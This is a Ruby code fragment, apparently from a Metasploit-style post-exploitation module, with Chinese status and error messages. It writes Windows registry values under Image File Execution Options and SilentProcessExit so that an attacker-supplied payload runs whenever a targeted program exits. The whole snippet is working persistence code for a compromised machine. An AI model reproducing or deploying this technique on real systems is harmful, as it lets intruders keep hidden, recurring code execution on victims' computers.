1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: 'GlobalFlag',
type: 'REG_DWORD',
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: 'ReportingMode',
type: 'REG_DWORD',
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: 'MonitorProcess',
type: 'REG_SZ',
value_value: payload_pathname)
# 创建必要的注册表键
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
vprint_status("写入 #{key[:value_name]} 到 #{key[:key_name]}")
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
unless registry_getvalinfo(key[:key_name], key[:value_name])
print_error("设置 #{key[:value_name]} 为 #{key[:key_name]} 失败")
return false
end
end
end
|